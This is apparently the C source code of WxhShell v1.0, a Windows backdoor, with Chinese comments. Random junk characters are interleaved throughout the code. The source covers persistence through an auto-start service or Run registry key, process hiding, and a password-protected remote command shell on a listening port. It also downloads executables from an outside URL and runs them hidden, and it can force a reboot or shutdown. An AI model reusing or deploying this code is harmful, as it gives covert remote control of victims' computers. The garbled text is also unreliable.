= (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bx{$Y_L+p ![YX]+jqNp if (!NtQueryInformationProcess) return 0; @eD):Y tD(7^GuR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +cgSC5nR if(!hProcess) return 0; RrX[|GLSJ 2ORNi,_I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <lw`
3aa( j9?}j#@ CloseHandle(hProcess); EQb7-vhg 3DiLk=\~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wQP^WzNE if(hProcess==NULL) return 0; e vrXo"3 [SHXJ4P* HMODULE hMod; %k-3?%&8 char procName[255]; ein4^o<f. unsigned long cbNeeded; ryW'Z{+r' Hv
sob if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &]e'KdXF s2'yY(u/ CloseHandle(hProcess); q>$ev)W ,SynnE68 if(strstr(procName,"services")) return 1; // 以服务启动 iYORu3 Tl$[4heE return 0; // 注册表启动 NdtB1b } Bg5Wba%NK Q&wB$*u // 主模块 v(B<Nb int StartWxhshell(LPSTR lpCmdLine) ^W'fA{sr { e+$p9k~ SOCKET wsl; +$C4\$t BOOL val=TRUE; 8jd;JPz@\ int port=0; P
`}zlml struct sockaddr_in door; %QH)' GJQ -fwoTGlX if(wscfg.ws_autoins) Install(); `x
l <49K>S9O port=atoi(lpCmdLine); {sihus#Q ?t/~lv if(port<=0) port=wscfg.ws_port; r@v,T8 K`iv c N" WSADATA data; p7veQ`yNc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *BR~}1
i ;>
_$` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Sq/y~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ohF JZ' door.sin_family = AF_INET; F~%]6^$w door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Sr,h0h6 door.sin_port = htons(port); 8YZbP5' U=DmsnD, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A )^`?m3 closesocket(wsl); GN ]cDik return 1; ]ndvt[4L } Kqp(%8mf &Sl[lXE if(listen(wsl,2) == INVALID_SOCKET) { y4t7`-,~ closesocket(wsl); jhXkSj return 1; Q<h-FW8z } yaah*1ip[ Wxhshell(wsl); 9K5pwC\$% WSACleanup(); ),U X4%K= Gb8D[1=u= return 0; r\b3AKrIN mQCeo}7N5 } WFO4gB* jNLw= // 以NT服务方式启动 AvxfI"sp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3HLNCt09 { Xf02"PXC DWORD status = 0; : >6F+XZ
DWORD specificError = 0xfffffff; MHh~vy'HB5 Wc,~ { serviceStatus.dwServiceType = SERVICE_WIN32; w.H%R-Be serviceStatus.dwCurrentState = SERVICE_START_PENDING; X9p.gXF serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9z}uc@#D=m serviceStatus.dwWin32ExitCode = 0; M)eO6oX| serviceStatus.dwServiceSpecificExitCode = 0; B:gjAb}9T serviceStatus.dwCheckPoint = 0; *of3:w serviceStatus.dwWaitHint = 0; JRSSn] pw 19O,a#{KHf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $^OvhnL/ if (hServiceStatusHandle==0) return; RA KFU d]:I(9K status = GetLastError(); w8kOVN2b if (status!=NO_ERROR) -R57@D>j\ { Fs{x(_LOr serviceStatus.dwCurrentState = SERVICE_STOPPED; q;<h[b? serviceStatus.dwCheckPoint = 0; _CW(PsfY serviceStatus.dwWaitHint = 0; :bz}c48% serviceStatus.dwWin32ExitCode = status; [z9`)VIe serviceStatus.dwServiceSpecificExitCode = specificError; "}pNe"ok SetServiceStatus(hServiceStatusHandle, &serviceStatus); \hBG<nH{0 return; NdL,F;^ } 62 O.?Ij @2Z#x serviceStatus.dwCurrentState = SERVICE_RUNNING; i\KQ!f>A serviceStatus.dwCheckPoint = 0; jUSmqm' serviceStatus.dwWaitHint = 0; -u2P ?~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SS$[VV } {DU`[:SQZg oASY7k_3 // 处理NT服务事件,比如:启动、停止 }emN9Rj VOID WINAPI NTServiceHandler(DWORD fdwControl) 2$?C7(kW { f!s=(H; switch(fdwControl) Zb1<:[ { q:dHC,fO case SERVICE_CONTROL_STOP: t.laO. 3 serviceStatus.dwWin32ExitCode = 0; /9HVY
%n serviceStatus.dwCurrentState = SERVICE_STOPPED; R{ a"Y$ serviceStatus.dwCheckPoint = 0; Q^
pmQ serviceStatus.dwWaitHint = 0; B[V+ND'( { +)y^'Qs SetServiceStatus(hServiceStatusHandle, &serviceStatus); { jhr< } VY~yg* return; +6';1Nb@ case SERVICE_CONTROL_PAUSE: U@-^C"R serviceStatus.dwCurrentState = SERVICE_PAUSED; GH+r?2< break; e6d<dXx case SERVICE_CONTROL_CONTINUE: qOSM}ei>s serviceStatus.dwCurrentState = SERVICE_RUNNING; QV{}K break; w*oeK case SERVICE_CONTROL_INTERROGATE: 4<% *E{` break; nq6@6GRG }; >N]7IU[- SetServiceStatus(hServiceStatusHandle, &serviceStatus); yp$_/p O=2 } x n5l0'2 /Y'Vh^9/T // 标准应用程序主函数 KO]T<R
h< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eu(:`uu { +tVaBhd! So0f)`A // 获取操作系统版本 kdl:Wt*4o OsIsNt=GetOsVer(); SzjkI+-$: GetModuleFileName(NULL,ExeFile,MAX_PATH); s (zL gREzZ+([ // 从命令行安装 my}-s if(strpbrk(lpCmdLine,"iI")) Install(); f ` R/
i <4P4u*/o // 下载执行文件 B5X(ykaX~ if(wscfg.ws_downexe) { f6p-s
y> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Rvm>TC= WinExec(wscfg.ws_filenam,SW_HIDE); *q()f\ } @>p<3_Y1 j!]YNH@ if(!OsIsNt) { fZ*+2T> // 如果时win9x,隐藏进程并且设置为注册表启动
hRs&t,{& HideProc(); CC L StartWxhshell(lpCmdLine); QKr,g } VzY8rI else K?BOvDW"` if(StartFromService()) B]uc<`f // 以服务方式启动 `[W[H(AjQ StartServiceCtrlDispatcher(DispatchTable); P*I}yPeb else EL(nDv // 普通方式启动 dHv68*^\' StartWxhshell(lpCmdLine); =~=*&I4Dp >[_f3;P return 0; d4?Mi2/jF } ;i<|9{; tE)suU5Y prTw'~(B P;Ga4Q. =========================================== Zo g']= ;xzUE`uUfJ hRK/T7v kzt(i Y_6 <})2#sZO! PX<J&rx " a=hxJ1O ~])t 6i #include <stdio.h> @Ub"5Fl4 #include <string.h> 80Gn%1A9 #include <windows.h> g7OqX \ #include <winsock2.h> gK[YQXfTy #include <winsvc.h> px}|Mu7z~ #include <urlmon.h> >_|O1H./4 ][?G/*k #pragma comment (lib, "Ws2_32.lib") Ry%Mej: #pragma comment (lib, "urlmon.lib") .6`9H 1 "4uS3h2r #define MAX_USER 100 // 最大客户端连接数 C/TF-g-_Y #define BUF_SOCK 200 // sock buffer MLRK74D #define KEY_BUFF 255 // 输入 buffer xwJH(_- my4giC2a #define REBOOT 0 // 重启 _OuWB" #define SHUTDOWN 1 // 关机 Kfh| :'~Y #define DEF_PORT 5000 // 监听端口 f;1K5Y /.Ww6a~ #define REG_LEN 16 // 注册表键长度 r[lF<2&*R #define SVC_LEN 80 // NT服务名长度 E|6VX4`+ aVK3?y2 // 从dll定义API D"ND+*Q[X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \E%'Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E
,|xJjh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )6|yb65ZUX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rL+!tH ]3KhgK%c8 // wxhshell配置信息 XT@-$%u struct WSCFG { Gu2P\I2zx int ws_port; // 监听端口 &8l%T'gd char ws_passstr[REG_LEN]; // 口令 eS<lwA_ int ws_autoins; // 安装标记, 1=yes 0=no @8;W \L$~1 char ws_regname[REG_LEN]; // 注册表键名 /J:bWr char ws_svcname[REG_LEN]; // 服务名 9Hc$G{[a char ws_svcdisp[SVC_LEN]; // 服务显示名 $!8-? ?ML char ws_svcdesc[SVC_LEN]; // 服务描述信息 PDrZY.- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =gJb^
Gx(w int ws_downexe; // 下载执行标记, 1=yes 0=no ,'p2v)p^4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \H=&`? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (UU(:/ iy 14mh\ ~ }; ?i06f,- t4-pM1]1_
// default Wxhshell configuration f"u%J/e & struct WSCFG wscfg={DEF_PORT, k;w- E "xuhuanlingzhe", .)<(Oj|4 1, rz@=pR : "Wxhshell", $+>M{fg? "Wxhshell", WC.t_"@ "WxhShell Service", kX>f^U{j "Wrsky Windows CmdShell Service", Y0_),OaY "Please Input Your Password: ", )FpZPdN+h 1, <-,gAk)u "http://www.wrsky.com/wxhshell.exe", N(y\dL=v "Wxhshell.exe" q^r#F#*1l }; 89wU-Aggq ~Uxsn@nLr // 消息定义模块 uoXAQ6k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7VG`h; char *msg_ws_prompt="\n\r? for help\n\r#>"; \>7^f
3m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O }(VlR2 char *msg_ws_ext="\n\rExit.";
^V#@QPK9 char *msg_ws_end="\n\rQuit."; lsy?Ac char *msg_ws_boot="\n\rReboot..."; GQ9\'z#+ char *msg_ws_poff="\n\rShutdown..."; 1$%V{4bJ char *msg_ws_down="\n\rSave to "; ^sVX)% 76Vl6cPu> char *msg_ws_err="\n\rErr!"; Er+nk`UR_ char *msg_ws_ok="\n\rOK!"; ,ztI,1"k ?ON-+u char ExeFile[MAX_PATH]; !-,t'GF( int nUser = 0; Z| V`B ` HANDLE handles[MAX_USER]; EpFQ|.mQ int OsIsNt; WC|.g,9# gMaN)ESqd4 SERVICE_STATUS serviceStatus; ho0@ l SERVICE_STATUS_HANDLE hServiceStatusHandle; Q)LM-ZJKQ hED=u/ql[ // 函数声明 <j5NFJ9 int Install(void); Oh'Y0_oB> int Uninstall(void); %7gkNa int DownloadFile(char *sURL, SOCKET wsh); R0L&*Bjm int Boot(int flag); av$/Om: void HideProc(void); h3Q21D'f int GetOsVer(void); _h":> int Wxhshell(SOCKET wsl); DBCK2PlJ void TalkWithClient(void *cs); Sp^9&^ int CmdShell(SOCKET sock); "V$Bnz\n int StartFromService(void); w*|7!iM int StartWxhshell(LPSTR lpCmdLine); uvV;Mlo] v0YG,)_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R8T]2?Q1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); bIEhgiH !X<~-G2)l // 数据结构和表定义 mGGsB5#w> SERVICE_TABLE_ENTRY DispatchTable[] = T9u <p=p { Hv\-_>}K {wscfg.ws_svcname, NTServiceMain}, 7?kIVP1r {NULL, NULL} ;Hj~n+ }; *H.oP ,I_^IitN // 自我安装 &bp=`=* int Install(void) e`v`XSA[p { ]f_6 '|5A char svExeFile[MAX_PATH]; W"k8KODOY HKEY key; jMN[J|us51 strcpy(svExeFile,ExeFile); v0ES; aN $}? // 如果是win9x系统,修改注册表设为自启动 '8T=~R6 if(!OsIsNt) { ea00\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zA!0l*H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _dJ{j RegCloseKey(key); ZJ 77[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *L'>U[Pl7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jD`d#R RegCloseKey(key); *r$+&8V\n return 0; _!?Hu/zo } Hw-Z } f4guz } kr9gK~ else { `UQf2o0%3w ;XDz)`c // 如果是NT以上系统,安装为系统服务 %bD}m! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4|`Bq}sjZf if (schSCManager!=0) P7x = { H_ez'yy SC_HANDLE schService = CreateService ,+
#6Y_ ( l$jxLZ schSCManager, m~D&gGFt wscfg.ws_svcname, nYt/U\n! wscfg.ws_svcdisp, Iy.rqc/86 SERVICE_ALL_ACCESS, -pE(_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pOrWg@<\L SERVICE_AUTO_START, YNBHBK4; SERVICE_ERROR_NORMAL, ,s_T pq svExeFile, OHflIeq#@ NULL, H=\!2XS NULL, )5.C]4jol NULL, L:k9#6 NULL, &%_& 8DkG NULL @j4U^"_QB ); Eb=#9f%y>& if (schService!=0) vQa'S-@u { kee|42E CloseServiceHandle(schService); f7 'q- CloseServiceHandle(schSCManager); a+9*@z2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AT\qiznvP strcat(svExeFile,wscfg.ws_svcname); F|HJH"2*&q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6O22P?v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \J6hI\/4^ RegCloseKey(key); &V<W>Y>|l* return 0; 7oR:1DXw| } yj$TPe_BW } ,.o<no CloseServiceHandle(schSCManager); U7DCx=B } >R2SQA o } d|*"IFe wV)}a5+ return 1; \xUe/= } N*@aDM07 d.2mT?`# // 自我卸载 v i)%$~ int Uninstall(void) n?:= { 3J=Y9 } HKEY key; dna6QV>A Bs MuQ|! if(!OsIsNt) { <soz#}e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S inl RegDeleteValue(key,wscfg.ws_regname); ~Wp Gf, RegCloseKey(key); n3`&zY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SgEBh RegDeleteValue(key,wscfg.ws_regname); x+@&(NMP5 RegCloseKey(key); `+/H^ return 0; wO>L#"X^v } :SsUdIX;P } (?*BB3b` } p<v.Q else { i#%a- I:M wfjc/u9W6R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?~QIALA if (schSCManager!=0) U5]pi+r { t
nS+5F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _7D _72 if (schService!=0) i0s6aAhgJ { 2nFy`|aA% if(DeleteService(schService)!=0) { j2Pn<0U CloseServiceHandle(schService); 1'4J[S\cM CloseServiceHandle(schSCManager); e62Dx#IY return 0; YUdxG/~' } '&;69`FSe CloseServiceHandle(schService); TFepxF } CVi`bO 4\ CloseServiceHandle(schSCManager); Ce'pis } 3},Zlu } oR*=|B K$
v"Uk return 1; ~=Ncp9ej# } rz(0:vxwA ?v-1zCls // 从指定url下载文件 K+T.o6+ int DownloadFile(char *sURL, SOCKET wsh) ?'r9"M> { 'lS`s( HRESULT hr; FhIqy %X char seps[]= "/"; vSW
L$Y2 char *token; b59{)u4F char *file; 3qQUpm+ char myURL[MAX_PATH]; = zl=SLe char myFILE[MAX_PATH]; {$M;H+Foh )n=ARDd^e strcpy(myURL,sURL); ?_`0G/xl token=strtok(myURL,seps); LjdYsai- while(token!=NULL) kHJ96G { M"_FrIO file=token; jFerYv&K~ token=strtok(NULL,seps); PVao } <TNk?df7 ^\:2}4Uj_ GetCurrentDirectory(MAX_PATH,myFILE); jvzBh-! strcat(myFILE, "\\"); * \HRw +cL strcat(myFILE, file); o;[bJ
Z\^x send(wsh,myFILE,strlen(myFILE),0); [k]|Qink send(wsh,"...",3,0); nVD Xj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yn9j-` if(hr==S_OK) A.Bk/N1G return 0; Iwpbf Z else -iCcoA return 1; &D#+6M&LK{ +[m8c){ } <1&Ke <3hA!$o~ // 系统电源模块 K<v:-TjQZ: int Boot(int flag) ,PWj_}|L[ { *wi}>_\ HANDLE hToken; Q;nAPS TOKEN_PRIVILEGES tkp; mo1
puU Icp0A\L@ if(OsIsNt) { :[M[( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %McO6.M@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e@F|NCQ.9 tkp.PrivilegeCount = 1; r-w2\ 2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2:$ k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uG>nV if(flag==REBOOT) { S)%_we LW7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ad!(z[F'Y return 0; ,M3z!=oIGn } z#<P}} else { tiLu75vj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Zk<l#"} return 0; eSl-9
^ } 3z{S}~ } F?Or;p5`Y else { (OQ?<'Qa if(flag==REBOOT) { sXl ??UGe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'nK~'PZ, return 0; PdY>#Cyh } v9}[$HWx else { H]&!'\aUz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;^l_i4A return 0; w 7tC|^#G } =:h3w#_c } R V!o4"\] Z{{t^+XG return 1; `HUf v@5 } ]
mj
v;C )u@t.)ChAV // win9x进程隐藏模块 b"8FlZ$ void HideProc(void) 8U.$FMx : { i#,1iVSG Q2C)tVK+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /BH.>R4`A if ( hKernel != NULL ) ~,}s(`~ { {Iy7.c8S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =LZ>su ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7unA"9=[4V FreeLibrary(hKernel); \iMyo } +Z?[M1g 6b:DJ return; ~HP
LV } eX<K5K.B wsg//Ec] // 获取操作系统版本 FU@uH
U5fd int GetOsVer(void) :$"7-a%f { R'EW7}& OSVERSIONINFO winfo; U($^E}I2( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GhnE>d;i GetVersionEx(&winfo); $P?{O3:V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o_yRn16 return 1; xQz#i-v else ^now}u9S6 return 0; A9BxwQU# } @;9()ad xbC~C~# // 客户端句柄模块 Zd>ZY,-5 int Wxhshell(SOCKET wsl) !cCg/ { ^`&HWp SOCKET wsh; |t\KsW struct sockaddr_in client; ci7~KewJ* DWORD myID; U5rxt^ 0]a1 5 while(nUser<MAX_USER) u~71l)LA { 'P/taEi=R int nSize=sizeof(client); [&n|\! wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;4d.)-<No_ if(wsh==INVALID_SOCKET) return 1; *IlQ5+3I yv${M u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0^>E`/ if(handles[nUser]==0) Am7| / closesocket(wsh); hCLk#_ else TczXHT}G nUser++; GUCM4jVT^ } %)IrXz>Zh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mcMb*?] Z90Fcp:R return 0;
-HT L5 } zjoo{IH} ,#%SK;1< // 关闭 socket #5d8?n void CloseIt(SOCKET wsh) 5}SXYA} { ^@ UjQ9[> closesocket(wsh); <t6d)mJ% nUser--; m9g^ -X ExitThread(0); =n
}Yqny } W}k[slqZA ~\bHfiIDy // 客户端请求句柄 Fhi5LhWe+. void TalkWithClient(void *cs) *'^:S#= { 7S2c|U4IM N K"%DU< SOCKET wsh=(SOCKET)cs; l-=e62I{=| char pwd[SVC_LEN]; E<a.LW@ char cmd[KEY_BUFF]; (qk5f`O char chr[1]; F25<+1kr int i,j; sVD([`Nmc j}RM.C\7 while (nUser < MAX_USER) { -t b;igv tD^a5qPh if(wscfg.ws_passstr) { ^HoJ.oC/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /T#o<D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gDc]^K4> //ZeroMemory(pwd,KEY_BUFF); %9YA^ri i=0; (lWKy9eTy` while(i<SVC_LEN) { 1 ?]J;9p 2_Jb9:/X // 设置超时 DD6 'M
U4 fd_set FdRead; A xR\ned struct timeval TimeOut; &u4Ve8# FD_ZERO(&FdRead); z{V8@q/ FD_SET(wsh,&FdRead); PE7t_iSV TimeOut.tv_sec=8; >!G5]?taa TimeOut.tv_usec=0; E$&;]a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .)nCOwR6p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;l#?SYY (T2<!&0 @ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dff#{ pwd=chr[0]; :9O|l)N)W= if(chr[0]==0xd || chr[0]==0xa) { `0[fLEm pwd=0; SJF 2k[da break; tQCj)Ms 'X } Z0z) i++; L]a|vp } %SFw~%@3&~ }(rzH}X@ // 如果是非法用户,关闭 socket j~Ff/O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tpd|y| } x6~Fb~aP # m_\1&g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t3M0La& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
`;T?9n td`wNy\ while(1) { cG5$lB ]:Wb1 ZeroMemory(cmd,KEY_BUFF); R=QM; 0YHYx n // 自动支持客户端 telnet标准 3dY6;/s j=0; p\)h",RkA while(j<KEY_BUFF) { @nW'(x( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Wj5IS/ cmd[j]=chr[0]; }cyq'mi if(chr[0]==0xa || chr[0]==0xd) { r}Q@VS%% cmd[j]=0; OC`QD5 break; Q9nu"x
% } 6pe4Ni7I2 j++; hiT9H5 6> } w`"W3( (''$'5~ // 下载文件 MQhYJ01i if(strstr(cmd,"http://")) { bwT"$Ee send(wsh,msg_ws_down,strlen(msg_ws_down),0); WoJ]@Me8 if(DownloadFile(cmd,wsh)) kv[OW"8t send(wsh,msg_ws_err,strlen(msg_ws_err),0); Psg +\ 14 else N/`g?B[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o(BYT9|.kw } Rf&^th}TH else { baA HP" mn,=V[f switch(cmd[0]) { #`2GAM];7 7Ljs4>%l9j // 帮助 chM t5L+5 case '?': { 69[w/\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `z5v}T break; #=>kw^5 } vs*_;vx // 安装 A/r;;S)%2 case 'i': { F&-5&'6G+ if(Install()) gDgP;id send(wsh,msg_ws_err,strlen(msg_ws_err),0); CA'hvXb. else ZD
iW72&Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %pQdq[J={ break; V:$[~)k8 } AJdlqbd'+ // 卸载 ^S>!kt7io case 'r': { eo-XqiJ,] if(Uninstall()) u_$6LEp- send(wsh,msg_ws_err,strlen(msg_ws_err),0); zkw0jX~ else tVK?VNW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !hpTyO+% break; *T1L)Cp } 9$}+-Z // 显示 wxhshell 所在路径 k B$lkl\C case 'p': { WllCcD1 char svExeFile[MAX_PATH]; Zm?G'06 strcpy(svExeFile,"\n\r"); JT}dor strcat(svExeFile,ExeFile); OqUE4.vIP send(wsh,svExeFile,strlen(svExeFile),0); :z}~U3,JE break; K.c6Rg } Fvcq^uZ // 重启 >V77X+! case 'b': { ,5%aP% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V1AEjh if(Boot(REBOOT)) 4{1c7g send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ-n!
^ else { aa'0EU: closesocket(wsh); (*c`<|) ExitThread(0); -#:Y+"' } !^Qb[ev break; |O #w dnYW } +Uc&%Px // 关机 \ltE rd- case 'd': { L.R\]+$U2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C[HE4xF6 if(Boot(SHUTDOWN)) VbY>l' rY send(wsh,msg_ws_err,strlen(msg_ws_err),0); =iPd@f"$ else { rYP8V
> closesocket(wsh); u/K)y:ZZ ExitThread(0); BBZ)H6TzL } cviN$oL break; '{1W)X } cPa 0n4 // 获取shell yBD.Cs@ case 's': { ?`BED6$`G9 CmdShell(wsh); Yn?2,^?N closesocket(wsh); 3w6J V+? ExitThread(0); `"1{Sx. break; C=pPI } ()rx>?x5 // 退出 rA>R` case 'x': { $e^ :d send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M2;(+8 b CloseIt(wsh); J,& |